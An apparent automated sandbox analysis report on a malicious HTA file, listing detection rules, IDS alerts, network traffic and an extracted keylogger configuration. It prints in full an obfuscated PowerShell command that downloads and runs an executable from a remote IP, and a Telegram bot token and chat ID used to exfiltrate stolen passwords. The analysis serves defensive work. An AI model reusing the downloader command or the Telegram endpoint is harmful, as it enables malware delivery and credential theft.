Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))", CommandLine: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICA

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7120, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", ProcessId: 6340, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T01:21:48.396382+0100	2022050	1	A Network Trojan was detected	192.227.228.22	80	192.168.2.5	49711	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T01:21:48.484654+0100	2022051	1	A Network Trojan was detected	192.227.228.22	80	192.168.2.5	49711	TCP

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T01:22:15.094543+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.5	49719	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T01:22:01.301036+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	193.122.130.0	80	TCP
2025-03-13T01:22:12.566684+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	193.122.130.0	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T01:22:14.468619+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49719	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\csrss.exe	Avira: detection malicious, Label: TR/AD.Nekark.kpgky
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\csrss[1].exe	Avira: detection malicious, Label: TR/AD.Nekark.kpgky

Found malware configuration

Source: 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM", "Telegram Chatid": "6306897853"}
Source: dajivhqI.pif.7196.16.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 362, "from": {"id": 7653831104, "is_bot": true, "first_name": "kalidresult", "username": "Khalidresultobot"}, "chat": {"id": 6306897853, "first_name": "Enzo", "type": "private"}, "date": 1741825334, "document": {"file_name": "Userdata.txt", "mime_type": "text/plain", "file_id": "BQACAgQAAxkDAAIBamfSJTZJu-tPhGFrwOQsUq2Sx_JfAALTEgACQMeZUhbmbnkiTz5MNgQ", "file_unique_id": "AgAD0xIAAkDHmVI", "file_size": 881}, "caption": "user / Passwords /"}}]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\csrss[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\csrss.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: mybestgirlfriendwalkingaroundtheworld.hta	ReversingLabs: Detection: 23%
Source: mybestgirlfriendwalkingaroundtheworld.hta	Virustotal: Detection: 37%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Links\dajivhqI.pif

Unpacked PE file: 16.2.dajivhqI.pif.400000.0.unpack

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49719 version: TLS 1.2

Source:	Binary string: q8C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.pdb source: powershell.exe, 00000003.00000002.1384687174.000000000507B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: csrss.exe, 0000000B.00000003.1352449792.000000007ECD0000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000002.1359633832.0000000002D30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: dajivhqI.pif, 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: csrss.exe, 0000000B.00000003.1352449792.000000007ECD0000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000003.1353349368.0000000000889000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000000B.00000002.1359633832.0000000002D30000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\csrss.exe

Code function: 11_2_02E952F8 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

11_2_02E952F8

Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	16_2_2869E188
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5E49E1h	16_2_2B5E4730
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5E5135h	16_2_2B5E4D18
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5EFE11h	16_2_2B5EFB68
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5EF561h	16_2_2B5EF2B8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5E5135h	16_2_2B5E5063
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5EF9B9h	16_2_2B5EF710
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5EF109h	16_2_2B5EEE60
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2B5E5135h	16_2_2B5E4D17
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1607D5h	16_2_2C160498
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16D2C0h	16_2_2C16D018
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16AEC8h	16_2_2C16AC20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1602E9h	16_2_2C160040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16D718h	16_2_2C16D470
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16B320h	16_2_2C16B078
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16B778h	16_2_2C16B4D0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1632F0h	16_2_2C1630CD
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16DB70h	16_2_2C16D8C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16DFC8h	16_2_2C16DD20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16BBD0h	16_2_2C16B928
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16E420h	16_2_2C16E178
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16C028h	16_2_2C16BD80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C169060h	16_2_2C168DB8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16E878h	16_2_2C16E5D0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16C480h	16_2_2C16C1D8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1694B8h	16_2_2C169210
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16C8DAh	16_2_2C16C630
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16ECD0h	16_2_2C16EA28
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C160F1Ah	16_2_2C160E70
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C169910h	16_2_2C169668
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C160F1Ah	16_2_2C160E69
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C161D38h	16_2_2C161A90
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16F128h	16_2_2C16EE80
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16F580h	16_2_2C16F2D8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C169D68h	16_2_2C169AC0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C162190h	16_2_2C161EE8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16A1C0h	16_2_2C169F18
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1625E8h	16_2_2C162340
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16A618h	16_2_2C16A370
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C162A40h	16_2_2C162798
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16CE68h	16_2_2C16CBC0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C16AA70h	16_2_2C16A7C8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C162E98h	16_2_2C162BF0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1F0D0Dh	16_2_2C1F0B30
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then jmp 2C1F1697h	16_2_2C1F0B30
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then push 00000000h	16_2_2C1F4040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	16_2_2C1F4E4E
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_2C1F0853
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then push 00000000h	16_2_2C1F4B96
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_2C1F0673
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_2C1F0040
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	16_2_2C7D58B3
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	16_2_2C7D294C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 192.227.228.22:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 192.227.228.22:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49719 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49719 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 00:21:48 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 11 Mar 2025 06:36:00 GMTETag: "1dbc00-6300b4d59f46a"Accept-Ranges: bytesContent-Length: 1948672Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 2a 06 00 00 8e 17 00 00 00 00 00 ac 47 06 00 00 10 00 00 00 50 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 1e 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 1c 00 ca 27 00 00 00 30 1d 00 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 1c 00 bc 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 1c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 77 1c 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 20 06 00 00 10 00 00 00 22 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 f4 07 00 00 00 40 06 00 00 08 00 00 00 26 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 1c d7 15 00 00 50 06 00 00 d8 15 00 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c4 36 00 00 00 30 1c 00 00 00 00 00 00 06 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ca 27 00 00 00 70 1c 00 00 28 00 00 00 06 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 a0 1c 00 00 00 00 00 00 2e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 b0 1c 00 00 02 00 00 00 2e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 6e 00 00 00 c0 1c 00 00 70 00 00 00 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 1c 01 00 00 30 1d 00 00 1c 01 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 50 1e 00 00 00 00 00 00 bc 1d

Source: global traffic	HTTP traffic detected: GET /xml/ HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM/sendDocument?chat_id=6306897853&caption=user%20/%20Passwords%20/ HTTP/1.1Content-Type: multipart/form-data; boundary================8dd61a39278e6c1Host: api.telegram.orgContent-Length: 1076Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49712 -> 193.122.130.0:80

Source: global traffic	HTTP traffic detected: GET /54/csrss.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.227.228.22Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
